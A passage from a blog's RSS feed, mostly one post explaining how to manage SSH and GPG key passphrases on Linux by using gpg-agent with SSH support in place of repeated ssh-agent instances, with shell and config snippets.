<p>Feel free to check out the <a target="_blank" href="https://github.com/michidk/displayz/">code on GitHub</a> or get the tool from <a target="_blank" href="https://crates.io/crates/displayz">crates.io</a> or <a target="_blank" href="https://community.chocolatey.org/packages/displayz">Chocolatey</a>.</p>
<p>Edit: Apparently there is a new API that simplifies this process (<a target="_blank" href="https://github.com/MicrosoftDocs/windows-driver-docs/blob/staging/windows-driver-docs-pr/display/scaling-the-desktop-image.md">docs</a>)</p>
]]></content:encoded></item><item><title><![CDATA[The struggle with SSH key management under Linux]]></title><description><![CDATA[When using tools like git, ssh etc. from the command line, reentering the passphrases of your keys can become very tedious rather quickly. This is where key management comes into play: Basically, you want to unlock your key once and keep it ready in ...]]></description><link>https://blog.lohr.dev/key-management</link><guid isPermaLink="true">https://blog.lohr.dev/key-management</guid><category><![CDATA[ssh]]></category><category><![CDATA[Security]]></category><category><![CDATA[Linux]]></category><category><![CDATA[linux for beginners]]></category><category><![CDATA[linux-basics]]></category><dc:creator><![CDATA[Michael Lohr]]></dc:creator><pubDate>Sun, 27 Feb 2022 16:18:39 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/unsplash/zFy6fOPZEu0/upload/v1645974858339/7tEm1QFN5.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>When using tools like <code>git</code>, <code>ssh</code> etc. from the command line, reentering the passphrases of your keys can become very tedious rather quickly. This is where key management comes into play: Basically, you want to unlock your key once and keep it ready in your session for the tools to use it until the point where a timeout or system restart occurs.</p>
<blockquote>
<p>I always just used some zsh ssh-agent plugin or had  <code>eval ssh-agent</code> in my <code>.bashrc</code>, totally unaware of the fact that this is a very suboptimal solution...</p>
</blockquote>
<h1 id="heading-ssh-keys">SSH keys</h1>
<p>When connecting to a server using SSH or pushing your changes to a git server, you have to authenticate yourself using an SSH key. Git also allows HTTP authentication using a password, <a target="_blank" href="https://www.venafi.com/education-center/ssh/why-is-ssh-security-important">but you definitely should use  SSH</a>.  SSH keys also should have a non-empty <a target="_blank" href="https://www.ssh.com/academy/ssh/passphrase">passphrase</a> as an additional layer of security. If somebody steals your key (the file on your hard drive), they won't be able to use it without your passphrase.</p>
<p>You also might want to digitally sign messages and git commits with GPG, which also requires a password-protected key. Now, when actually signing a commit or connecting to a remote server using SSH, you have to enter the passphrase to your key. This is annoying if you have a long secure passphrase and use that very often.</p>
<h1 id="heading-ssh-agent">ssh-agent</h1>
<p><a target="_blank" href="https://www.ssh.com/academy/ssh/agent">ssh-agent</a> solves this problem: It creates a <a target="_blank" href="https://unix.stackexchange.com/questions/16311/what-is-a-socket">Linux socket</a> that offers your ssh client access to your keys. It is started with the command <code>ssh-agent</code>, which returns a path to the socket:
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1645975825902/4G0ETQdVg.png" alt="`ssh-agent` showing the path to the socket" />
After adding this path to the <a target="_blank" href="https://linuxize.com/post/how-to-set-and-list-environment-variables-in-linux/">environment variables</a> you can use <code>ssh-add &lt;path of your ssh key&gt;</code> to add your SSH key to the "cache" (you can list your added SSL keys with <code>ssh-add -l</code>).  </p>
<p><a target="_blank" href="https://docs.github.com/en/authentication/connecting-to-github-with-ssh/working-with-ssh-key-passphrases#auto-launching-ssh-agent-on-git-for-windows">Most instructions</a> online, will tell you to add something like <code>eval "$(ssh-agent -s)"</code> to your <code>.bashrc</code> file or similar. You might have already noticed that executing <code>ssh-agent</code> will give you a new socket every time you execute that command. Meaning with every shell session you now start, you will spawn a new <code>ssh-agent</code>:
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1645979641207/xDyR8kvXL.png" alt="Commandline output of `ps aux | grep ssh-agent` showing multiple instances of the `ssh-agent`" />
You will also have to enter your passphrase once per session. There has to be a better way, right? Right?!</p>
<p>As <a target="_blank" href="https://news.ycombinator.com/item?id=30538109">ysh7</a> pointed out, it is also possible to set a custom socket path using the flag <code>-a bind_address</code> and then set the environment variable <code>SSH_AUTH_SOCK</code> to that same value. <code>ssh-agent</code> can then be started as systemd service as described <a target="_blank" href="https://unix.stackexchange.com/questions/339840/how-to-start-and-use-ssh-agent-as-systemd-service">here</a>.</p>
<h1 id="heading-keychain-ssh-find-agent-zsh-ssh-agent-bash-scripts">keychain, ssh-find-agent, zsh ssh-agent, bash scripts...</h1>
<p>Jon Cairns wrote a <a target="_blank" href="http://blog.joncairns.com/2013/12/understanding-ssh-agent-and-ssh-add/">similar article</a> about this problem and presented a solution: A script that tries to find and reuse existing <code>ssh-agents</code>. There are multiple scripts with similar approaches all written in bash: <a target="_blank" href="https://github.com/wwalker/ssh-find-agent">ssh_find_agent</a>, <a target="_blank" href="https://github.com/bobsoppe/zsh-ssh-agent/blob/master/ssh-agent.zsh">zsh-ssh-agent</a>, and the most popular one: <a target="_blank" href="https://github.com/funtoo/keychain">keychain</a>. (And later, I also discovered <a target="_blank" href="https://github.com/vodik/envoy">envoy</a>). But being bash scripts, they are hard to read, not really fast, and make debugging a hell. I used <code>keychain</code> successfully until I encountered a problem that I wasn't able to understand. Also, those tools depend heavily on <code>ssh-agent</code> and <code>ssh-add</code> instead of using the socket directly.</p>
<blockquote>
<p>I was ready to implement something similar to <code>keychain</code> in Rust</p>
</blockquote>
<p>I then actually sat down and implemented a prototype of my SSH/GPG agent manager in Rust, which forced me to really understand the tooling around SSH keys. But there was a problem I could not solve: Every time I restarted my environment (in my case <a target="_blank" href="https://docs.microsoft.com/en-us/windows/wsl/about">WSL</a>), I had to reenter all my passphrases to all the keys even if I wouldn't need them.</p>
<h1 id="heading-gpg-agent-to-the-rescue">gpg-agent to the rescue</h1>
<p>After some reading through the confusing docs of different (outdated) versions of <code>gpg-agent</code> (yes, not <code>ssh-agent</code>), I finally found a working solution: Apparently <code>gpg-agent</code> uses its own socket and works way smarter than <code>ssh-agent</code>.  Luckily <code>gpg-agent</code> has support to also manage your ssh keys (and, of course, also manages your gpg keys)!</p>
<blockquote>
<p>I don't fully understand the design decision behind ssh-agent, which prints fairly essential information out as executable code and doesn't update the current shell with the required environment variables; that just seems a bit bizarre to me. - <a target="_blank" href="http://blog.joncairns.com/2013/12/understanding-ssh-agent-and-ssh-add/">Jon Cairns</a> </p>
</blockquote>
<p>So how do we use it, then?
First of all, you need <a target="_blank" href="https://gnupg.org/">GnuPG</a>, which installs the necessary tools. Sadly there is still no all-in-one version, but GpuPG comes with everything we need.</p>
<p>Now put the line <code>enable-ssh-support</code> into your <code>~/.gnupg/gpgagent.conf</code> (create it, if it does not exist). You can also specify a timeout by adding the following lines:</p>
<pre><code class="lang-conf">## 1-day timeout
default-cache-ttl 86400
max-cache-ttl 86400
</code></pre>
<p>Then add the following lines to your <code>.bashrc</code>, <code>.zshrc</code> or whatever you are using:</p>
<pre><code class="lang-bash"><span class="hljs-built_in">export</span> GPG_TTY=$(tty)
gpg-connect-agent --quiet updatestartuptty /<span class="hljs-built_in">bye</span> &gt;/dev/null
<span class="hljs-built_in">export</span> SSH_AUTH_SOCK=$(gpgconf --list-dirs agent-ssh-socket)
</code></pre>
<p>GnuPG uses <code>pinentry</code>, which allows it to create the console UI asking for your password. This <a target="_blank" href="https://www.gnupg.org/documentation/manuals/gnupg/Common-Problems.html">dialog system requires</a> the <code>GPG_TTY</code> environment variable to be pointing at your current tty. The next line starting with <code>gpg-connect-agent</code> starts the <code>gpg-agent</code> as a demon in the background if it is not already running and tells it to use your current terminal for those UI dialogues. Since it always outputs "OK", even when we specify <code>--quiet</code>, we forward the output into <code>/dev/null</code> to hide it. Finally, we use <code>gpgconf</code> to tell SSH where the socket of <code>gpg-agent</code> is located and export it to the environment (so now we use a socket managed by <code>gpg-agent</code> and not <code>ssh-agent</code> anymore).</p>
<p>If you use multiple terminal sessions at once for a longer time, it can happen to you that the prompt asking for your ssh password appears on the wrong terminal session. This can be fixed by adding the following line to the ssh config:</p>
<pre><code>Match host * <span class="hljs-keyword">exec</span> <span class="hljs-string">"gpg-connect-agent UPDATESTARTUPTTY /bye”</span>
</code></pre><h1 id="heading-conclusion">Conclusion</h1>
<p>This is exactly what I have been looking for. I wish I had explored <code>gpg-agent</code> sooner. Now my shell asks me only once when using specific keys for the first time. The dialogue looks like this:
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1645978161553/NtFjWsubZ.png" alt="`gpg-agent` asking for my passphrase" /></p>
<p>The only downside I see with this approach is that we have to call two commands (<code>gpg-connect-agent</code> and <code>gpgconf</code>) every time we launch a new shell. But this is fine, as they are really fast:</p>
<pre><code>gpg<span class="hljs-operator">-</span>connect<span class="hljs-operator">-</span>agent <span class="hljs-operator">-</span><span class="hljs-operator">-</span>quiet updatestartuptty <span class="hljs-operator">/</span>bye <span class="hljs-operator">&gt;</span> <span class="hljs-operator">/</span>dev<span class="hljs-operator">/</span>null  <span class="hljs-number">0</span>.00s user <span class="hljs-number">0</span>.00s system <span class="hljs-number">60</span><span class="hljs-operator">%</span> cpu <span class="hljs-number">0</span><span class="hljs-number">.004</span> total
gpgconf <span class="hljs-operator">-</span><span class="hljs-operator">-</span>list<span class="hljs-operator">-</span>dirs agent<span class="hljs-operator">-</span>ssh<span class="hljs-operator">-</span>socket  <span class="hljs-number">0</span>.00s user <span class="hljs-number">0</span>.00s system <span class="hljs-number">89</span><span class="hljs-operator">%</span> cpu <span class="hljs-number">0</span><span class="hljs-number">.001</span> total
</code></pre><p>If you want to have a look at my dotfiles, <a target="_blank" href="https://gitlab.com/michidk/dotfiles">feel free to do so</a>. Thanks for reading!</p>
]]></content:encoded></item></channel></rss>